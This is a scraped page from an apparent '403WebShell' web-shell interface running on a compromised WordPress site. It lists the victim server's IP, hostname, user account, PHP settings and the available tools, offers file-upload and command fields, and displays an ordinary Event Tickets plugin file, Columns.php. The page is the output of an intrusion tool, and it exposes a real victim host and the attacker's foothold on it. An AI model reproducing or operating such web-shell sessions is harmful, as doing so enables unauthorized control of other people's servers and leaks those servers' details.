Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.142.42.247
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/Tribe/Admin/Columns.php
<?php


/**
 * Class Tribe__Tickets__Admin__Columns
 *
 * Hooks additional admin columns for supported post types edit pages.
 *
 * This class does not contain the business logic, it only hooks the classes
 * that will handle the logic.
 *
 * @link https://make.wordpress.org/docs/plugin-developer-handbook/10-plugin-components/custom-list-table-columns/#how-do-i-add-custom-list-table-columns
 */
class Tribe__Tickets__Admin__Columns {

	/**
	 * An array of ticket column objects by supported post type.
	 *
	 * @var Tribe__Tickets__Admin__Columns__Tickets[]
	 */
	protected $columns = [];

	/**
	 * Hooks the actions and filters needed to perform this class operations.
	 */
	public function hook() {
		$this->add_custom_columns( (array) tribe_get_option( 'ticket-enabled-post-types', [] ) );
	}

	protected function add_custom_columns( $supported_types ) {
		if ( empty( $supported_types ) ) {
			return true;
		}

		foreach ( $supported_types as $supported_type ) {
			$tickets_column                   = new Tribe__Tickets__Admin__Columns__Tickets( $supported_type );

			add_filter( "manage_{$supported_type}_posts_columns", [ $tickets_column, 'filter_manage_post_columns' ] );
			add_action( "manage_{$supported_type}_posts_custom_column", [ $tickets_column, 'render_column' ], 10, 2 );

			// store the column for later use
			$this->columns[ $supported_type ] = $tickets_column;
		}

		return true;
	}

	/**
	 * Returns the column associated with a post type.
	 *
	 * @param string $post_type The post type slug, e.g. 'post', 'page' or 'tribe_events'.
	 *
	 * @return Tribe__Tickets__Admin__Columns__Tickets|null Either the column object associated with the
	 *                                                      post type or `null` if no column object is
	 *                                                      associated with the post type.
	 */
	public function get_column_for_type( $post_type ) {
		return isset( $this->columns[ $post_type ] ) ? $this->columns[ $post_type ] : null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit